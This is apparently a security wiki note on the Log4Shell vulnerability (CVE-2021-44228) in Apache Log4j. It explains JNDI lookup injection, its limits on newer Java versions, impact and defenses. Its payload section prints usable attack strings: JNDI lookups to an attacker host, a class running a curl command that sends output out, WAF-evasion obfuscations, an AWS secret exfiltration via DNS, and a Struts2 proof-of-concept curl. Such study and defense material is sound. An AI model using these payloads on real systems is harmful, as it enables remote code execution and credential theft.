# Log4Shell > CVE-2021-44228 (CVSS 10.0): Apache Log4j 2 expands a `${jndi:...}` lookup found anywhere in a logged string, performing a JNDI lookup that fetches and instantiates an attacker-controlled remote Java class — unauthenticated RCE in one log line. ## How it works Log4j 2.0+ added **message lookups** — `${...}` substitutions expanded while formatting a log message (and indirectly through parameterized messages). One supported lookup is **JNDI**. If any attacker-influenced value gets logged, the attacker inserts: ``` ${jndi:ldap://attacker.com:1389/a} ``` Log4j performs a JNDI `lookup()` over LDAP (or RMI, DNS, CORBA/IIOP). The directory response can be a **JNDI Reference** naming a remote codebase; the JVM downloads that class and instantiates it → code execution. The sink is *logging*, so the payload lands wherever the app logs user input: `User-Agent`, `X-Forwarded-For`, `Referer`, form fields, usernames, even the URI path. All Log4j 2.x ≤ 2.14.1 are vulnerable when message-lookup substitution is enabled. Apache Struts 2 is trivially affected (it logs OGNL-tainted request values). ## JNDI injection state (why "new Java saves you" is wrong) Log4Shell is a [[Code Injection|JNDI injection]] flaw in a very bad place. Remote-codebase loading was restricted over time, but exploitation did not stop: - RMI remote codebase disabled by default since Java **8u121**; LDAP since **8u191** (CVE-2018-3149). So ≤ 8u191 = direct remote classloading. - After those patches, **local gadgets** still work: a returned JNDI `Reference` pointing at a locally present factory (Apache XBean `BeanFactory`, bundled with Tomcat) achieves execution (Veracode / `rogue-jndi`). - RMI/LDAP also deserialize the returned object, so absent a global deserialization filter, JNDI injection → [[Insecure Deserialization]] gadget chains. - Bottom line: patch Log4j (≥ 2.17.x) or remove the JNDI lookup — do not rely on a modern JRE. ## Techniques / payloads - **RCE:** `${jndi:ldap://<host>:1389/x}` serving a Reference → class with a static initializer running `{"/bin/bash","-c","uname -a | curl -d @- http://<host>"}`. - **Blind confirmation:** `${jndi:dns://<collab>/x}` — a DNS hit proves reachability even when LDAP is filtered (see [[Out-of-Band Detection]]). - **WAF evasion via nested lookups:** `${${lower:j}ndi:...}`, `${${::-j}${::-n}${::-d}${::-i}:...}`, `${jndi:${lower:l}${lower:d}ap://...}`. - **Exfil without RCE:** `${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.<collab>/a}` leaks env vars through the DNS/LDAP hostname. - **PoC (Rapid7, Struts2 Showcase):** `curl http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0.0.1:1099/ylbtsl}'`. ## Impact & aftermath Broad, opportunistic mass exploitation began within hours of the Dec 10 2021 disclosure — scanning every header, coin miners and ransomware following. The scale came from Log4j being a transitive dependency buried in countless products, driving a long tail of downstream advisories (a [[Software Supply Chain Security|supply-chain]] reckoning). ## Defenses - Upgrade to Log4j 2.17.1+ (2.15 and 2.16 had follow-on CVEs). If you can't: remove `JndiLookup.class` from the classpath, or set `log4j2.formatMsgNoLookups=true` (incomplete on some paths). - Set `com.sun.jndi.ldap.object.trustURLCodebase=false` / `rmi...=false`; apply a JVM deserialization filter. - Egress-filter outbound LDAP/RMI/DNS from app servers — a Log4Shell callback is also an [[Server-Side Request Forgery|SSRF]]-style outbound request. ## Related - [[Remote Code Execution]] · [[Code Injection]] · [[Expression Language Injection]] · [[Insecure Deserialization]] · [[Out-of-Band Detection]] · [[Software Supply Chain Security]] ## Sources - [[raw/rapid7.com/rapid7-analysis-cve-2021-44228-log4shell-9374|Rapid7 Analysis: CVE-2021-44228 (Log4Shell)]] - [[raw/fastly.com/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j-5817|Digging deeper into Log4Shell]] - [[raw/mbechler.github.io/psa-log4shell-and-the-current-state-of-jndi-injection-5818|PSA: Log4Shell and the current state of JNDI injection]] - [[raw/aikido.dev/what-are-shell-vulnerabilities-php2shell-node2shell-http2shell-react2s-12428|What are shell vulnerabilities? (Log4Shell)]]